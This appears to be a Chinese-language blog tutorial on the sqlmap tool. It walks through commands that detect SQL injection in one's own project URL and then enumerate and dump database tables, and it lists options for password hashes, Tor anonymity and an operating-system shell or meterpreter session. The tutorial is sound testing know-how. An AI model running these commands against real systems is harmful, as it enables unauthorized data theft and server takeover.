首先我們需要訪問自己的專案,找到乙個需要檢測的url,這個url需要對應後台的處理,這個url對應的後台需要接收引數,並且會將我們的引數作為sql的一部分去資料庫進行查詢之類的操作。
如 我們有個鏈結
使用python sqlmap.py -u "" --batch
這裡--batch表示不需要使用者輸入,使用預設行為,否則會有一些提示選擇需要使用者進行。
如果此url中存在sql注入,那麼將會出現如下畫面。並且可以看到 這裡告訴我們後台使用的資料庫型別與版本是sqlserver 2008.
這裡我們使用
python sqlmap.py -u url --dbs --batch
可以獲取到此例項下的所有資料庫名稱。
使用python sqlmap.py -u url --current-db --batch
可以獲取當前系統使用的資料庫名稱。
在獲取到資料庫名稱之後,我們使用
python sqlmap.py -u url -d 資料庫名稱 --tables --batch
可以獲取到這個資料庫下所有的表名
我們找到我們感興趣的表,然後獲取這個表的所有字段
python sqlmap.py -u url -d 資料庫名 -t 表名 --columns --batch
我們使用
python sqlmap.py -u url -d 資料庫名 -t 表名 -c "欄位名(多字段用,分隔)" --dump --batch
這樣會將對應欄位的值全部查詢並儲存起來,如果數目比較大 也可以指定 --start --stop 來指定獲取哪些資料。
可以看到這裡我們獲取一條資料,並且資料會儲存在csv中,要注意如果我們獲取到的資料中有加密的,會預設進行暴力破解,所以會有些慢。
至此,對於sqlmap的簡單使用就結束了,我們可以看到最簡單的使用,就已經可以將我們的整個資料給爬取了,因此在日常工作中一定要注意**規範,盡量避免sql注入的出現。
目標:至少要選中乙個引數
-u url, --url=url 目標為 url (例如. "")
-g googledork 將谷歌dork的結果作為目標url
請求:這些選項可用於指定如何連線到目標url
--data=data 資料字串通過post傳送
--cookie=cookie http cookie的值
--random-agent 隨機選擇 http user-agent 頭的值
--proxy=proxy 使用**去連線目標url
--tor 使用匿名網路
--check-tor 檢查tor是否正確使用
注入:這些選項可用於指定要測試哪些引數,提供自定義注入負載和可選篡改指令碼
-p testparameter 可測試的引數
--dbms=dbms 將後端dbms強制到此值
檢測:這些選項可用於定製檢測階段
--level=level 執行的測試級別(1-5, 預設 1)
--risk=risk 執行測試的風險 (1-3, 預設 1)
技術:這些選項可用於調整特定sql注入的測試的技術
--technique=tech sql注入技術選擇 (預設 "beustq")
列舉:t這些選項可用於列舉後端資料庫管理系統的資訊、結構和資料表。此外,還可以執行自己的sql語句
-a, --all 檢索全部
-b, --banner 檢索 banner
--current-user 檢索當前使用者
--current-db 檢索當前資料庫
--passwords 列出使用者密碼的hash值
--tables 列出表
--columns 列出字段
-schema 列出dbms schema
--dump dump dbms資料庫表的條目
--dump-all dump 所有dbms資料庫表的條目
-d db 指定資料庫
-t tbl 指定表
-c col 指定字段
作業系統訪問:
這些選項可用於訪問後端資料庫管理系統底層作業系統
--os-shell 提示為互動式作業系統shell
--os-pwn 提示為oob外殼,meterpreter或vnc
通用:這些選項可用於設定一些通用的工作引數
--batch 永遠不要要求使用者輸入,使用預設行為
--flush-session 重新整理當前目標的會話檔案
雜項:--sqlmap-shell 提示輸入互動式sqlmap shell
--wizard 初學者的簡單嚮導介面
使用SQLmap進行注入測試
sqlmap是乙個自動化的sql注入工具,其主要功能是掃瞄,發現並利用給定的url的sql注入漏洞。目前支援的資料庫是mysql,oracle,postgresql,microsoft sql server,microsoft acess,ibm db2,sqllite,firebird,sybas...
SQL注入之Sqlmap使用
我們都知道,對於網路滲透最重要的一步是要拿到後台資料庫管理員的密碼與使用者名稱,那麼怎麼得到這個使用者名稱和密碼呢?就要用到今天所說的sqlmap,它不僅適用於內網環境,在外網環境也是非常受歡迎的,並且在kali linux裡邊顯得尤為重要,它所到之處幾乎是 寸草不生 那麼接下來我就簡單介紹下sql...
sql注入與sqlmap的使用
一.sql注入產生的原因 sql注入用一句概況就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通過控制部分sql語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接獲取資料庫伺服器的系統許可權。要利用sql...